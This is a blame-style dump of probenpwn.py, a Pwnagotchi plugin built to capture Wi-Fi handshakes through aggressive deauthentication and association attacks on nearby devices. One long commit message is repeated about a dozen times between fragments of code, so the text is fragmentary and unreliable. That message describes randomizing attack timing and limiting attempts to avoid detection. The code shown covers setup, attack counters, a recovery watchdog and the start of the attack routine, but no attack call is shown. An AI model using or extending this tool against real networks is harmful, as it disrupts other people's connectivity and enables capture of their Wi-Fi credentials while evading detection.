2025-02-02 17:15:19 -08:00
import logging
import time
import threading
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
import os
import subprocess
import random
2025-02-02 17:15:19 -08:00
import pwnagotchi . plugins as plugins
2025-03-16 20:16:21 -07:00
import pwnagotchi . ui . components as components
from concurrent . futures import ThreadPoolExecutor
2025-02-02 17:15:19 -08:00
2025-03-16 20:16:21 -07:00
class ProbeNpwn ( plugins . Plugin ) :
2025-02-02 17:15:19 -08:00
__author__ = ' AlienMajik '
2025-03-16 20:16:21 -07:00
__version__ = ' 1.1.3 ' # Updated to reflect enhancements
2025-02-02 17:15:19 -08:00
__license__ = ' GPL3 '
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
__description__ = (
2025-03-16 20:16:21 -07:00
' Aggressively capture handshakes by launching immediate associate and deauth attacks '
' on detected devices. Features minimized delays, retry mechanisms, target prioritization, '
' concurrency throttling, and channel coordination for maximum efficiency. '
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
)
2025-02-02 17:15:19 -08:00
def __init__ ( self ) :
logging . debug ( " ProbeNpwn plugin created " )
self . old_name = None
2025-03-16 20:16:21 -07:00
self . recents = { } # Track recent APs and clients
self . executor = ThreadPoolExecutor ( max_workers = 50 ) # Throttle to 50 concurrent attacks (Enhancement 4)
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
self . _watchdog_thread = None
2025-02-23 02:02:21 +01:00
self . _watchdog_thread_running = True
2025-03-16 20:16:21 -07:00
self . attack_attempts = { } # Track attack attempts per AP
self . success_counts = { } # Track successful handshakes per AP
2025-02-18 01:57:39 -08:00
self . total_handshakes = 0
self . failed_handshakes = 0
self . performance_stats = { }
2025-02-19 19:47:37 -08:00
self . whitelist = set ( )
2025-03-16 20:16:21 -07:00
self . cooldowns = { } # Cooldown periods per AP after handshake
self . epoch_duration = 60 # Default epoch duration in seconds
self . ap_clients = { } # Track number of clients per AP for prioritization (Enhancement 3)
# UI-related attributes
self . attacks_x = 10
self . attacks_y = 20
self . success_x = 10
self . success_y = 30
self . ui_initialized = False
2025-02-23 02:02:21 +01:00
def on_loaded ( self ) :
2025-03-16 20:16:21 -07:00
""" Log plugin load event. """
logging . info ( " Plugin ProbeNpwn loaded " )
2025-02-19 19:47:37 -08:00
2025-03-16 20:16:21 -07:00
def on_config_changed ( self , config ) :
""" Load whitelist, verbose setting, and UI coordinates from config. """
self . whitelist = set ( config [ " main " ] . get ( " whitelist " , [ ] ) )
logging . info ( f " Whitelist loaded from config: { self . whitelist } " )
2025-02-23 02:02:21 +01:00
2025-03-16 20:16:21 -07:00
self . verbose = config . get ( " main " , { } ) . get ( " plugins " , { } ) . get ( " probenpwn " , { } ) . get ( " verbose " , False )
if self . verbose :
logging . getLogger ( ) . setLevel ( logging . INFO )
logging . info ( " Verbose mode enabled, logging level set to INFO " )
else :
logging . getLogger ( ) . setLevel ( logging . WARNING )
logging . warning ( " Verbose mode disabled, logging level set to WARNING " )
2025-02-23 02:02:21 +01:00
self . old_name = config . get ( " main " ) . get ( " name " , " " )
2025-03-16 20:16:21 -07:00
self . attacks_x = config . get ( " main.plugins.probenpwn.attacks_x_coord " , 10 )
self . attacks_y = config . get ( " main.plugins.probenpwn.attacks_y_coord " , 20 )
self . success_x = config . get ( " main.plugins.probenpwn.success_x_coord " , 10 )
self . success_y = config . get ( " main.plugins.probenpwn.success_y_coord " , 30 )
2025-02-02 17:15:19 -08:00
def on_unload ( self , ui ) :
2025-03-16 20:16:21 -07:00
""" Clean up on unload: restore name, stop watchdog, shutdown thread pool, remove UI elements. """
2025-02-23 02:02:21 +01:00
with ui . _lock :
if self . old_name :
ui . set ( ' name ' , f " { self . old_name } > " )
2025-03-16 20:16:21 -07:00
ui . remove_element ( ' attacks ' )
ui . remove_element ( ' success ' )
2025-02-02 17:15:19 -08:00
2025-03-16 20:16:21 -07:00
self . _watchdog_thread_running = False
if self . _watchdog_thread :
2025-02-23 02:02:21 +01:00
self . _watchdog_thread . join ( )
2025-03-16 20:16:21 -07:00
self . executor . shutdown ( wait = True )
2025-02-23 02:02:21 +01:00
logging . info ( " Probing out. " )
2025-02-02 17:15:19 -08:00
2025-03-16 20:16:21 -07:00
def on_ui_setup ( self , ui ) :
""" Set up custom UI elements for attacks and success rate. """
if not self . ui_initialized :
ui . add_element ( ' attacks ' , components . Text (
position = ( self . attacks_x , self . attacks_y ) ,
value = ' Attacks: 0 ' ,
color = 255
) )
ui . add_element ( ' success ' , components . Text (
position = ( self . success_x , self . success_y ) ,
value = ' Success: 0.0 % ' ,
color = 255
) )
logging . info ( " Custom UI elements ' attacks ' and ' success ' initialized. " )
self . ui_initialized = True
2025-02-02 17:15:19 -08:00
def on_ui_update ( self , ui ) :
2025-03-16 20:16:21 -07:00
""" Update UI with current attack counts and success rate. """
total_attempts = sum ( self . attack_attempts . values ( ) )
total_successes = sum ( self . success_counts . values ( ) )
success_rate = ( total_successes / total_attempts ) * 100 if total_attempts > 0 else 0.0
with ui . _lock :
ui . set ( ' attacks ' , f " Attacks: { total_attempts } " )
ui . set ( ' success ' , f " Success: { success_rate : .1f } % " )
2025-02-02 17:15:19 -08:00
def on_ready ( self , agent ) :
2025-03-16 20:16:21 -07:00
""" Start watchdog and set initial status on agent ready. """
2025-02-02 17:15:19 -08:00
logging . info ( " Probed and Pwnd! " )
agent . run ( " wifi.clear " )
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
self . _watchdog_thread = threading . Thread ( target = self . _watchdog , daemon = True )
self . _watchdog_thread . start ( )
2025-03-16 20:16:21 -07:00
with agent . _view . _lock :
2025-02-23 02:02:21 +01:00
agent . _view . set ( " status " , " Probe engaged... \n PWNing your signals, Earthlings! " )
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
def _watchdog ( self ) :
2025-03-16 20:16:21 -07:00
""" Monitor system health and attempt recovery before restarting service. """
CHECK_INTERVAL = 5
MAX_RETRIES = 1
retry_count = 0
2025-02-23 02:02:21 +01:00
while self . _watchdog_thread_running :
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
if not os . path . exists ( " /sys/class/net/wlan0mon " ) :
2025-03-16 20:16:21 -07:00
logging . error ( " wlan0mon missing! Attempting Wi-Fi restart... " )
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
try :
2025-03-16 20:16:21 -07:00
subprocess . run ( [ " ip " , " link " , " set " , " wlan0mon " , " down " ] , check = True )
subprocess . run ( [ " ip " , " link " , " set " , " wlan0mon " , " up " ] , check = True )
logging . info ( " Wi-Fi interface restarted. " )
retry_count = 0
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
except Exception as e :
2025-03-16 20:16:21 -07:00
retry_count + = 1
if retry_count > = MAX_RETRIES :
logging . error ( f " Wi-Fi restart failed after { MAX_RETRIES } attempts: { e } . Restarting Pwnagotchi... " )
subprocess . run ( [ " systemctl " , " restart " , " pwnagotchi " ] )
break
else :
logging . warning ( f " Wi-Fi restart attempt { retry_count } failed: { e } . Retrying in { CHECK_INTERVAL } seconds... " )
else :
retry_count = 0
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
time . sleep ( CHECK_INTERVAL )
2025-02-02 17:15:19 -08:00
def track_recent ( self , ap , cl = None ) :
2025-03-16 20:16:21 -07:00
""" Track recently seen APs and clients with timestamps. """
2025-02-02 17:15:19 -08:00
ap [ ' _track_time ' ] = time . time ( )
self . recents [ ap [ ' mac ' ] . lower ( ) ] = ap
if cl :
cl [ ' _track_time ' ] = ap [ ' _track_time ' ]
self . recents [ cl [ ' mac ' ] . lower ( ) ] = cl
2025-02-23 02:02:21 +01:00
def ok_to_attack ( self , agent , ap ) :
2025-03-16 20:16:21 -07:00
""" Check if an AP or client is safe to attack (not whitelisted). """
Update probenpwn.py
What's New in Probenpwn 1.1.0:
Dynamic Parameter Tuning:
The dynamic_attack_delay method now adjusts the attack delay based not only on the client’s signal strength but also on the number of previous attack attempts for a given AP (Access Point). As the number of attacks increases, the delay between attacks decreases slightly, making the attacks more aggressive while preventing the system from overloading.
The delay is further randomized with random.uniform(0.9, 1.1) to prevent detection by automated systems that might look for consistent attack patterns.
Watchdog Thread for Recovery:
The plugin introduces a watchdog thread that periodically checks for the presence of the wlan0mon interface, which is essential for monitoring Wi-Fi networks. If this interface is missing (likely due to a Wi-Fi adapter crash), the watchdog attempts to restart the Pwnagotchi system automatically by running a systemctl restart command, providing a more robust recovery mechanism.
Tracking and Limiting Attack Attempts:
The plugin now tracks the number of attack attempts for each AP using a dictionary (attack_attempts). If an AP has been attacked more than a certain number of times, the delay for subsequent attacks is adjusted to prevent excessive and repetitive attacking, reducing the risk of detection.
This approach helps balance the aggressiveness of the attacks with performance considerations, ensuring that the plugin remains effective over extended periods.
Tracking Successful Handshakes:
The plugin now also tracks the number of successful handshakes captured per AP with the success_counts dictionary. Each time a handshake is successfully captured, the count for that AP is incremented. This can be useful for monitoring attack success rates and potentially adjusting attack strategies based on success frequency.
Improved Device Handling:
The handling of new and updated APs and clients is more refined. The plugin ensures that each device (AP or client) is only attacked if it's not on the whitelist. Devices are also tracked more effectively with better time management, ensuring that only recently seen devices are targeted.
The track_recent method tracks both APs and clients, with more granular control over when devices should be removed from the recent list based on activity.
Channel Sanitization:
The plugin includes a new sanitize_channel_list method, which ensures that only valid Wi-Fi channels (1-14 for 2.4 GHz and 36-165 for 5 GHz) are included in the scan list. This prevents attempts to scan invalid channels and ensures more efficient use of scanning resources.
Enhanced Logging and Error Handling:
The plugin now includes more detailed logging, especially around the dynamic attack delay, attack attempts, and handshakes. The logging makes it easier to monitor the plugin's behavior and diagnose issues.
It also improves error handling by catching and logging exceptions in key methods, ensuring that the plugin can gracefully handle unexpected issues without crashing.
2025-02-12 22:29:51 -08:00
if ap . get ( ' hostname ' , ' ' ) . lower ( ) in self . whitelist or ap [ ' mac ' ] . lower ( ) in self . whitelist :
2025-02-02 17:15:19 -08:00
return False
return True
def attack_target ( self , agent , ap , cl ) :
2025-03-16 20:16:21 -07:00
""" Launch attack on target AP/client with dynamic parameters. """
ap_mac = ap [ ' mac ' ] . lower ( )
if ap_mac in self . cooldowns and time . time ( ) < self . cooldowns [ ap_mac ] :
logging . debug ( f " AP { ap_mac } on cooldown. Skipping attack. " )
return
2025-02-23 02:02:21 +01:00
